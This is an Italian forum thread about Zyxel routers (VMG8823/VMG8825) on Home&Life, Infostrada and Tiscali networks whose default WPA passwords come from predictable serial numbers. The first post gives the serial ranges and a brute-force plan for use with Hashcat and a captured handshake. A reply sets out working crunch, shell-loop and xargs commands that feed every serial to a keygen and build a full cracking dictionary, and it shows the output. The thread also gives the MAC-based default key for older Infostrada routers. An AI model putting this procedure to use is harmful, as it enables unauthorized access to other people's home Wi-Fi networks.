Ultima modifica:
Ciao a tutti, vi volevo segnalare il seguente codice su github:
I router Zyxel ( modelli VMG8823, VMG8825 ) che hanno come SSID :
"Home&Life SuperWiFi-xxxx" (lunghezza password 16 caratteri)
"Infostrada-xxxxxx" (lunghezza password 10 caratteri)
"TISCALI_xxxx" (lunghezza password 10 caratteri)
generano la password di default della WPA usando il proprio codice seriale (il codice seriale, è un codice identificativo del router, non è la password wpa! ) . Il problema è che tale codice è facile da indovinare perchè seguono un pattern abbastanza semplice:
"Home&Life SuperWiFi-xxxx"/"Home&Life 2.4GHz" Range seriali:
S182V00000000-S182V99999999
S192V00000000-S192V99999999
"Infostrada-xxxxxx" Range seriali:
S172V00000000-S172V99999999
S182V00000000-S182V99999999
"TISCALI_****" Range seriali:
S172V00000000-S172V99999999
S182V00000000-S182V99999999
Il primo carattere è sempre un 'S'.
Partendo dal codice golang che è già stato implementato, dovete modificarlo in modo da fare un bruteforce nel range dei codici seriali che vi ho messo sopra , calcolare la corrispondente password WPA usando le funzioni che sono già state implementate (in base al tipo di rete dovete scegliere se creare chiavi da 10 o 16 caratteri, guarda sopra per dettagli) e salvarle tutte le password generate su un file di testo. Se tale file di testo venisse usato insieme ad Hashcat ed un handshake catturato, è possibile risalire alla password giusta in meno di mezz'ora.
- I due caratteri successivi dovrebbero essere l'anno di produzione del router, nell'esempio di sopra abbiamo 2017 ,2018 e 2019.
- La quarta e quinta lettera ('2V') è costante .
- Il resto della stringa varia da router a router
Possibili risoluzioni da suggerire a Zyxel:
N.B: Per ogni range, vengono generate circa 1Gb di chiavi, non vi preoccupate se il programma macina per un po', se volete aprire il file di testo vi consiglio di farlo con il programma "glogg".
- Utilizzare un seriale di tipo alfanumerico casuale anzichè puramente numerico con un pattern semplice.
- Offuscare il codice.
Le reti infostrada sono quelle dei router nuovi, per i router vecchi, che creano la rete con SSID InfostradaWiFi-****** , la password WPA di default è "2"+"MAC router".
EDIT:
Il modello VMG8823-B50B ,come fatto osservare nel seguente commento, trasmette il proprio seriale nelle probe response.
Ciao! avevo bisogno di un informazione: Quali modelli necessitano di quale cocktail? per tiscali è provato che funzionano con -l 10 e -c. hai le altre combinazioni? sto costruendo un dizionario totale
Ho generato con crunch la lista di tutti i seriali possibili ( che sono in sostanza di 3 tipi S172V, S182V, S192V ):
Codice:
crunch 13 13 -t S172V%%%%%%%% + 0123456789 + > S172V.txt
crunch 13 13 -t S182V%%%%%%%% + 0123456789 + > S182V.txt
crunch 13 13 -t S192V%%%%%%%% + 0123456789 + > S192V.txt
# OUTPUT
root@kali:~/Serials# head S172V.txt
S172V00000000
S172V00000001
S172V00000002
S172V00000003
S172V00000004
S172V00000005
S172V00000006
S172V00000007
S172V00000008
S172V00000009
........
S172V99999999
Dopo, passo ogni linea nel plaintext al tuo keygen:
Codice:
while IFS= read -r LINE; do /root/go/bin/zykgen -l 10 -c "$LINE"; done < S172V.txt > S172Vpassword.txt
# OUTPUT
root@kali:~/Serials# head S172Vpassword.txt
M7BJGF4884
TK4YTMHQLT
P7FMBLMLFG
LTDR8D3CU8
F7B38TXYJY
F3TP7XHHRD
T747G3GGAF
J388CXDMKN
8B4E47HNBD
F8K4MKFG73
Comprimerò poi il dizionario con gzip. Se però sapessi le varie combinazioni di lenght e cocktail ottimizzerei le tempistiche
Saluti,
Peste666
EDIT:
Quel comando è stralento. Per ora il più veloce che sono riuscito ad ottenere è questo:
Codice:
cat S192V.txt | xargs -n1 zykgen -l 10 -c > dizionario.txt